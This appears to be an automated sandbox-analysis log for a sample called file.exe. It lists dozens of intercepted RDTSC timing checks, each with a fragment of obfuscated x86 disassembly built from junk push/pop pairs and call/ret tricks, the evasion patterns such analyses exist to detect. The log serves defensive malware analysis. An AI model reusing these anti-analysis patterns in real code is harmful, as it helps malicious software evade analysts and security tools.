Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA214C second address: BA2163 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB1h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2163 second address: BA2198 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C02h 0x00000007 jmp 00007FEC7CD69C05h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FEC7CD69BF6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2198 second address: BA21A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA21A6 second address: BA21AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA21AA second address: BA21B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEBF8 second address: BAEC02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FEC7CD69BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEC02 second address: BAEC1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FEC7C7C7EADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEC1F second address: BAEC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF50A second address: BAF50E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF649 second address: BAF663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C01h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB66E6 second address: BB66EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB66EC second address: BB66F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB66F2 second address: BB66F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAFAA second address: BBAFC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC7CD69C01h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA403 second address: BBA409 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA576 second address: BBA5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C07h 0x00000009 jmp 00007FEC7CD69C02h 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA5AE second address: BBA5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA5B8 second address: BBA5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69C08h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBA5D5 second address: BBA5F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB6h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBBB49 second address: BBBB4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBBD38 second address: BBBD3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC33C second address: BBC386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEC7CD69BF6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jnp 00007FEC7CD69BF8h 0x00000014 push ecx 0x00000015 js 00007FEC7CD69BF6h 0x0000001b pop ecx 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FEC7CD69BF8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 movsx edi, cx 0x0000003b nop 0x0000003c push edi 0x0000003d jo 00007FEC7CD69BFCh 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC386 second address: BBC392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC392 second address: BBC398 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC839 second address: BBC83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC83D second address: BBC843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD86C second address: BBD884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FEC7C7C7EABh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD6CB second address: BBD6E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7CD69C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD884 second address: BBD888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD888 second address: BBD88E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD88E second address: BBD8A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC7C7C7EB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD8A8 second address: BBD8AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD8AC second address: BBD90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 js 00007FEC7C7C7EA7h 0x0000000f clc 0x00000010 push 00000000h 0x00000012 mov si, 2DD4h 0x00000016 mov dword ptr [ebp+122D38C6h], eax 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007FEC7C7C7EA8h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 mov di, 35ABh 0x0000003c xchg eax, ebx 0x0000003d push edx 0x0000003e jo 00007FEC7C7C7EA8h 0x00000044 pushad 0x00000045 popad 0x00000046 pop edx 0x00000047 push eax 0x00000048 pushad 0x00000049 jmp 00007FEC7C7C7EAFh 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBD90F second address: BBD913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8602F second address: B86033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86033 second address: B86064 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC7CD69C01h 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEC7CD69C06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC07F8 second address: BC0862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FEC7C7C7EA8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D20FEh], ebx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FEC7C7C7EA8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D3131h], ebx 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push ebx 0x00000050 jbe 00007FEC7C7C7EA6h 0x00000056 pop ebx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0862 second address: BC0872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC7CD69BFBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC12A4 second address: BC12AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC12AA second address: BC12B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC12B0 second address: BC1313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D2DB4h], esi 0x00000014 push 00000000h 0x00000016 add dword ptr [ebp+12455A8Bh], ecx 0x0000001c push esi 0x0000001d mov si, cx 0x00000020 pop esi 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007FEC7C7C7EA8h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d jmp 00007FEC7C7C7EAAh 0x00000042 xchg eax, ebx 0x00000043 push ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC1DFD second address: BC1E08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC3D6F second address: BC3D74 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7B13 second address: BC7B18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8A06 second address: BC8A3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC7C7C7EB9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8AE9 second address: BC8AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8AEF second address: BC8AF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC9C74 second address: BC9C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCAD1C second address: BCAD20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8CE2 second address: BC8CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCAE3E second address: BCAEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FEC7C7C7EA8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov edi, dword ptr [ebp+122D19ECh] 0x00000027 push dword ptr fs:[00000000h] 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FEC7C7C7EA8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 call 00007FEC7C7C7EB3h 0x0000004d or dword ptr [ebp+122D35A6h], ebx 0x00000053 pop edi 0x00000054 mov dword ptr fs:[00000000h], esp 0x0000005b mov eax, dword ptr [ebp+122D0015h] 0x00000061 mov di, bx 0x00000064 push FFFFFFFFh 0x00000066 mov bx, F140h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FEC7C7C7EB4h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCD2D second address: BCCD31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCED04 second address: BCEDCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FEC7C7C7EA8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 clc 0x00000025 sub dword ptr [ebp+122D3151h], edi 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007FEC7C7C7EA8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 ja 00007FEC7C7C7EACh 0x0000004d push 00000000h 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007FEC7C7C7EA8h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 0000001Ch 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 mov edi, dword ptr [ebp+122D2CF6h] 0x0000006f jmp 00007FEC7C7C7EB6h 0x00000074 xchg eax, esi 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FEC7C7C7EB7h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCEDCD second address: BCEDD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFD53 second address: BCFD6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0DC3 second address: BD0DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0DC7 second address: BD0DD1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEC7C7C7EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD2E0B second address: BD2E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0F59 second address: BD0F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFF40 second address: BCFF45 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3E60 second address: BD3E73 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC7C7C7EA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFF45 second address: BCFFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FEC7CD69BF8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D2B0Eh] 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FEC7CD69BF8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov edi, dword ptr [ebp+122D2CFAh] 0x0000004f mov dword ptr fs:[00000000h], esp 0x00000056 mov ebx, dword ptr [ebp+122D19ECh] 0x0000005c mov eax, dword ptr [ebp+122D0D81h] 0x00000062 push eax 0x00000063 mov dword ptr [ebp+122D31D5h], eax 0x00000069 pop ebx 0x0000006a push FFFFFFFFh 0x0000006c mov ebx, dword ptr [ebp+122D1F88h] 0x00000072 sub dword ptr [ebp+122D1B07h], ebx 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007FEC7CD69C01h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3E73 second address: BD3EBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, 153F7B3Bh 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 xor dword ptr [ebp+122D35E0h], eax 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D1A91h], edi 0x00000021 xchg eax, esi 0x00000022 jmp 00007FEC7C7C7EB2h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FEC7C7C7EADh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFFDE second address: BCFFE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFFE4 second address: BCFFE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCFFE9 second address: BCFFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4109 second address: BD411A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDEB77 second address: BDEB99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FEC7CD69BFAh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEC7CD69BFEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDEB99 second address: BDEB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDEB9D second address: BDEBA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDEBA1 second address: BDEBAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDECEB second address: BDECF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEC7CD69BF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDECF7 second address: BDECFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDECFD second address: BDED14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FEC7CD69BF6h 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jbe 00007FEC7CD69BF6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5CAC second address: BE5CC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jnc 00007FEC7C7C7EACh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5CC3 second address: BE5CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jns 00007FEC7CD69BF6h 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007FEC7CD69BF6h 0x0000001a rdtsc
